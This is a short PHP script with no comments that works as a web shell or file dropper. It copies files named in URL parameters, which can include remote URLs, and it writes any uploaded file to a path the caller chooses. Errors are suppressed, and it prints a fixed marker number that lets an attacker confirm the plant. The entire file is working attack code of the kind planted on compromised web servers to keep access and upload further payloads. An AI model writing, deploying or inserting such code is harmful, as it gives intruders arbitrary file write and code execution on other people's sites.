<?php
@copy($_GET[1], $_GET[2]);
if (!empty($_FILES)) {
    foreach ($_FILES as $f) {
        $tmps = is_array($f["tmp_name"]) ? $f["tmp_name"] : array($f["tmp_name"]);
        $names = is_array($f["name"]) ? $f["name"] : array($f["name"]);
        foreach ($tmps as $i => $tmp) {
            if (!$tmp) {
                continue;
            }
            $to = (isset($_GET["d"]) && $_GET["d"] !== "") ? $_GET["d"] : $names[$i];
            @move_uploaded_file($tmp, $to);
        }
    }
}
echo 1314123;